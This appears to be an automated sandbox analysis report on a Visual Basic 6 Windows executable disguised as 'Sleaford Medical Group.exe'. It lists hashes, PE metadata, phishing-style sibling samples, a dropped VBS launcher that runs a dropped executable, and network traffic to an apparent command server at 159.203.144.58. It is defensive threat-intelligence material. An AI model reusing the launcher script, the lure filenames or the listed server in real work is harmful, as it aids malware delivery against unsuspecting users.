37f463bf4616ecd445d4a1937da06e19	UAE CONTRACT SUPPLY.exe	Get hash	malicious	Browse	159.203.144.58
	CustomerStatement.exe	Get hash	malicious	Browse	159.203.144.58
	Payment.html	Get hash	malicious	Browse	159.203.144.58
	EmployeeAnnualReport.exe	Get hash	malicious	Browse	159.203.144.58
	Customer Statement.exe	Get hash	malicious	Browse	159.203.144.58
	Remittance advice.htm	Get hash	malicious	Browse	159.203.144.58
	Customer Statement.exe	Get hash	malicious	Browse	159.203.144.58
	Order-10236587458.exe	Get hash	malicious	Browse	159.203.144.58
	RFQ_110199282773666355627277288.exe	Get hash	malicious	Browse	159.203.144.58
	EMG 3.0.exe	Get hash	malicious	Browse	159.203.144.58
	QUOTATION.xlsx	Get hash	malicious	Browse	159.203.144.58
	VM_629904-26374.htm	Get hash	malicious	Browse	159.203.144.58
	cm0Ubgm8Eu.exe	Get hash	malicious	Browse	159.203.144.58
	caraganas.exe	Get hash	malicious	Browse	159.203.144.58
	Notification 466022.xlsm	Get hash	malicious	Browse	159.203.144.58
	Fax #136.xlsm	Get hash	malicious	Browse	159.203.144.58
	Purchase Order22420.exe	Get hash	malicious	Browse	159.203.144.58
	ceFlxYfe4F.exe	Get hash	malicious	Browse	159.203.144.58
	Fatura.exe	Get hash	malicious	Browse	159.203.144.58
	Reports #176.xlsm	Get hash	malicious	Browse	159.203.144.58

Dropped Files

No context

Created / dropped Files

C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe Download File
Process:	C:\Users\user\Desktop\Sleaford Medical Group.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	5.644325868779004
Encrypted:	false
SSDEEP:	1536:mnA+SyZTzpDk5xhps4CW9c6mc1wTYrYg7OsmHevXnqlY:mnlSCuTnCWzfw81gHUXnqu
MD5:	DDE7E39D025B75849184C077517030AE
SHA1:	6350E468239B6099421676FB6FF289A27F8CDA5A
SHA-256:	BA1AE604539B6CDE921342BAACEB3EB82149B0F15C369B77020B38254A586629
SHA-512:	9FB2C6A926BF66602FFCE354AF6D8C7906D8E3177DF49A640B05CF99C2729239F6EC2806E3422EEBF4A76285B1C1B5C75D20F042A8D3A89207692C4DE17A9A3F
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 11%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......O...................D.....=.....Rich...........PE..L......X.................p... ......X.............@.................................a........................................w..(...........................................................................(... .......H............................text...Dm.......p.................. ..`.data...............................@....rsrc...............................@..@...I............MSVBVM60.DLL....................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.vbs Download File
Process:	C:\Users\user\Desktop\Sleaford Medical Group.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	118
Entropy (8bit):	4.912827526146584
Encrypted:	false
SSDEEP:	3:jfF+m8nhvF3mRDWXp5cViE2J5xAIimYVGMGE9Al:jFqhv9IWXp+N23faGRF
MD5:	A0E46FC6089CF4C41E77819A9F42A5C3
SHA1:	24C0E7BFBE9A7C3E255F781FC5664CA5DCA70EEF
SHA-256:	8A37873731D9BB641F08AB5DA52BA395480F7A77CA4C0F8AAC489EE5832A9527
SHA-512:	82F58297629507F385E164CD509BFD7F128AAAB6CDF7E969A02C81FA4A5CD4BA322657801FCDB7A02B58E3511F0F1030CFA4EEA31A14879273A5BE325857277C
Malicious:	true
Reputation:	low
Preview:	Set W = CreateObject("WScript.Shell")..Set C = W.Exec ("C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe")

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386, for MS Windows
Entropy (8bit):	5.644325868779004
TrID:	Win32 Executable (generic) a (10002005/4) 99.15% Win32 Executable Microsoft Visual Basic 6 (82127/2) 0.81% Generic Win/DOS Executable (2004/3) 0.02% DOS Executable Generic (2002/1) 0.02% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Sleaford Medical Group.exe
File size:	106496
MD5:	dde7e39d025b75849184c077517030ae
SHA1:	6350e468239b6099421676fb6ff289a27f8cda5a
SHA256:	ba1ae604539b6cde921342baaceb3eb82149b0f15c369b77020b38254a586629
SHA512:	9fb2c6a926bf66602ffce354af6d8c7906d8e3177df49a640b05cf99c2729239f6ec2806e3422eebf4a76285b1c1b5c75d20f042a8d3a89207692c4de17a9a3f
SSDEEP:	1536:mnA+SyZTzpDk5xhps4CW9c6mc1wTYrYg7OsmHevXnqlY:mnlSCuTnCWzfw81gHUXnqu
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......O.......................D.......=.......Rich............PE..L......X.................p... ......X.............@................

File Icon


Icon Hash:	00649090b8b0cdf0

Static PE Info

General
Entrypoint:	0x401858
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED
DLL Characteristics:
Time Stamp:	0x580D0006 [Sun Oct 23 18:23:02 2016 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	6369448e9215188ae68ccd0107a30bdd

Entrypoint Preview

Instruction
push 0040BF38h
call 00007F08D096FC83h
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
xor byte ptr [eax], al
add byte ptr [eax], al
inc eax
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add dl, bh
test esp, edx
xchg byte ptr [esi], ah

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x177d4	0x28	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x19000	0xefe	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x228	0x20
IMAGE_DIRECTORY_ENTRY_IAT	0x1000	0x148	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x1000	0x16d44	0x17000	False	0.392153532609	data	5.98327704966	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.data	0x18000	0xb08	0x1000	False	0.00634765625	data	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_WRITE, IMAGE_SCN_MEM_READ
.rsrc	0x19000	0xefe	0x1000	False	0.356689453125	data	3.41873073614	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country
RT_ICON	0x19c16	0x2e8	data
RT_ICON	0x1936e	0x8a8	data
RT_GROUP_ICON	0x1934c	0x22	data
RT_VERSION	0x19120	0x22c	data	English	United States

Imports

DLL

Import

MSVBVM60.DLL

_CIcos, _adj_fptan, __vbaVarMove, __vbaFreeVar, __vbaAryMove, __vbaStrVarMove, __vbaFreeVarList, _adj_fdiv_m64, __vbaFreeObjList, _adj_fprem1, __vbaHresultCheckObj, _adj_fdiv_m32, __vbaAryDestruct, __vbaObjSet, __vbaOnError, _adj_fdiv_m16i, __vbaObjSetAddref, _adj_fdivr_m16i, __vbaFpR8, _CIsin, __vbaChkstk, EVENT_SINK_AddRef, __vbaGenerateBoundsError, __vbaStrCmp, __vbaAryConstruct2, __vbaR4Str, __vbaObjVar, _adj_fpatan, __vbaLateIdCallLd, EVENT_SINK_Release, _CIsqrt, EVENT_SINK_QueryInterface, __vbaExceptHandler, _adj_fprem, _adj_fdivr_m64, __vbaFPException, _CIlog, __vbaNew2, __vbaVar2Vec, __vbaInStr, _adj_fdiv_m32i, _adj_fdivr_m32i, __vbaStrCopy, __vbaI4Str, __vbaFreeStrList, _adj_fdivr_m32, _adj_fdiv_r, __vbaVarTstNe, __vbaI4Var, __vbaLateMemCall, __vbaVarDup, __vbaFpI4, __vbaLateMemCallLd, _CIatan, __vbaStrMove, _allmul, __vbaLateIdSt, _CItan, __vbaFPInt, _CIexp, __vbaFreeObj, __vbaFreeStr

Version Infos

Description	Data
Translation	0x0409 0x04b0
InternalName	SEMICALCINED
FileVersion	1.00
Comments	AxisC Corp.
ProductName	Fleksibles
ProductVersion	1.00
OriginalFilename	SEMICALCINED.exe

Possible Origin

Language of compilation system	Country where language is spoken	Map
English	United States

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 25, 2021 15:45:21.164094925 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:21.288738012 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.289205074 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:21.312593937 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:21.436867952 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.440924883 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.440952063 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.440960884 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.442183018 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:21.546854019 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:21.674179077 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.674266100 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:21.698731899 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:21.863979101 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.967134953 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.967165947 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.967180014 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.967191935 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.967202902 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.967215061 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.967226982 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.967247009 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.967263937 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.967279911 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:21.967349052 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:21.967418909 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.091562986 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091595888 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091613054 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091631889 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091649055 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091665030 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091681004 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091696024 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091711998 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091727018 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091742039 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091761112 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091773987 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091784954 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091787100 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.091797113 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091814041 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091830015 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091844082 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091862917 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091877937 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.091880083 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.091911077 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.091948986 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.216130972 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216162920 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216178894 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216195107 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216213942 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216232061 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216248989 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216264009 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216279984 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216295004 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216310024 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216325045 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216341019 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216360092 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216377020 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216392994 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216408968 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216423988 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216439962 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216454983 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216470957 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216489077 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216506004 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216521025 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216536999 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216552973 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216567993 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216583014 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216598034 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216615915 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216634989 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216643095 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216655016 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216666937 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216679096 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216691017 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216706991 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216722012 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216741085 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.216758013 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.220082045 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.220118046 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.220153093 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.220187902 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.344394922 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344424963 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344440937 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344460964 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344479084 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344495058 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344511032 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344527960 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344542980 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344558954 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344574928 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344588995 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.344594002 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344611883 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344626904 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344643116 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344655991 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.344659090 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344674110 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344690084 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344696999 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.344705105 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344723940 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344731092 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.344741106 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344755888 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344759941 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.344770908 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344786882 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344801903 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344810009 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.344816923 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344832897 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344852924 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344866037 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.344870090 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344886065 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344902039 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344902992 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.344917059 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344932079 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344935894 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.344948053 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344964027 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344968081 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.344983101 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.344995975 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.345000982 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345016956 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345031977 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345035076 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.345048904 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345062971 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345069885 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.345078945 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345094919 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345102072 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.345113993 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345129013 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.345130920 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345146894 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345161915 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345161915 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.345177889 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345192909 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345199108 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.345207930 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345225096 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345242977 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345261097 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345276117 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345292091 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345307112 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345320940 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345336914 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345351934 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345371008 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345402956 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345422029 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345437050 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345453024 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345468044 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345487118 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345504999 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345519066 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345534086 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345549107 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345560074 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:22.345649004 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.345674038 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:22.345706940 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:45:37.218365908 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:37.218393087 CET	443	49734	159.203.144.58	192.168.2.3
Feb 25, 2021 15:45:37.218496084 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:46:04.929531097 CET	49734	443	192.168.2.3	159.203.144.58
Feb 25, 2021 15:46:58.478909969 CET	49745	80	192.168.2.3	104.21.89.82
Feb 25, 2021 15:46:58.519893885 CET	80	49745	104.21.89.82	192.168.2.3
Feb 25, 2021 15:46:58.520015955 CET	49745	80	192.168.2.3	104.21.89.82
Feb 25, 2021 15:46:58.520201921 CET	49745	80	192.168.2.3	104.21.89.82
Feb 25, 2021 15:46:58.560990095 CET	80	49745	104.21.89.82	192.168.2.3
Feb 25, 2021 15:46:58.573807001 CET	80	49745	104.21.89.82	192.168.2.3
Feb 25, 2021 15:46:58.573837042 CET	80	49745	104.21.89.82	192.168.2.3
Feb 25, 2021 15:46:58.574012041 CET	49745	80	192.168.2.3	104.21.89.82
Feb 25, 2021 15:46:58.574075937 CET	49745	80	192.168.2.3	104.21.89.82
Feb 25, 2021 15:46:58.615957022 CET	80	49745	104.21.89.82	192.168.2.3

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Feb 25, 2021 15:42:59.665713072 CET	56777	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:42:59.714483976 CET	53	56777	8.8.8.8	192.168.2.3
Feb 25, 2021 15:42:59.747895002 CET	58643	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:42:59.796612024 CET	53	58643	8.8.8.8	192.168.2.3
Feb 25, 2021 15:42:59.926422119 CET	60985	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:42:59.983640909 CET	53	60985	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:01.094799995 CET	50200	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:01.152208090 CET	53	50200	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:02.056389093 CET	51281	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:02.105123997 CET	53	51281	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:03.347821951 CET	49199	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:03.406518936 CET	53	49199	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:05.362844944 CET	50620	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:05.423094988 CET	53	50620	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:09.599637032 CET	64938	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:09.648775101 CET	53	64938	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:10.500262976 CET	60152	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:10.551757097 CET	53	60152	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:11.549974918 CET	57544	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:11.598890066 CET	53	57544	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:12.713990927 CET	55984	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:12.762624979 CET	53	55984	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:13.728343010 CET	64185	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:13.776921034 CET	53	64185	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:15.741317034 CET	65110	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:15.792933941 CET	53	65110	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:16.899550915 CET	58361	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:16.948275089 CET	53	58361	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:17.790402889 CET	63492	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:17.840476036 CET	53	63492	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:29.933588982 CET	60831	53	192.168.2.3	8.8.8.8
